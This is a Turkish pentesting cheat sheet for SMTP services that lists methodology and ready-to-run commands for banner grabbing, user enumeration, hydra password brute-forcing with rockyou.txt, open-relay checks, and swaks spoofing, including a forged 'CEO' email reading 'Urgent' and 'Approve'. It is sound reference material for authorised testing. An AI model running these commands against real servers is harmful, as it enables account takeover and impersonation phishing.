25,465,587 - Pentesting SMTP/s
network smtp
SMTP (25), SMTPS (465) ve submission (587) mail yüzeyidir. Banner, VRFY/EXPN/RCPT enum, open relay ve AUTH brute klasik kazanımlardır; smuggling ayrı zincirdir.
Alt başlıklar
Section titled “Alt başlıklar”Metodoloji
Section titled “Metodoloji”-
25/465/587 açık mı, STARTTLS/AUTH ne sunuyor bak.
-
VRFY/EXPN/RCPT ile kullanıcı enum yap.
-
AUTH brute ve open relay hipotezlerini doğrula.
-
Spoof / smuggling için DATA terminator varyantlarına geç.
nmap -Pn -sV -p25,465,587 --script smtp-commands,smtp-enum-users,smtp-open-relay TARGETnc -nv TARGET 25openssl s_client -connect TARGET:465 -crlfopenssl s_client -starttls smtp -connect TARGET:587 -crlfHızlı diyalog
Section titled “Hızlı diyalog”EHLO pentest.localVRFY rootMAIL FROM:<a@evil.com>RCPT TO:<victim@corp.local>Enum & brute
Section titled “Enum & brute”smtp-user-enum -M VRFY -U users.txt -t TARGETsmtp-user-enum -M RCPT -U users.txt -t TARGET -f a@evil.comhydra -L users.txt -P rockyou.txt smtp://TARGEThydra -L users.txt -P rockyou.txt smtp://TARGET -s 587 -SOpen relay / spoof
Section titled “Open relay / spoof”nmap -p25 --script smtp-open-relay TARGETswaks --to external@gmail.com --from spoof@corp.local --server TARGET --body 'relay-test'swaks --to victim@corp.local --from ceo@corp.local --server TARGET --header 'Subject: Urgent' --body 'Approve'Checklist
Section titled “Checklist”[ ] Banner + EHLO capabilities[ ] VRFY/EXPN/RCPT enum[ ] AUTH brute / geçerli hesap[ ] Open relay doğrulandı veya elendi[ ] Smuggling için smtp-smuggling sayfasına geçildi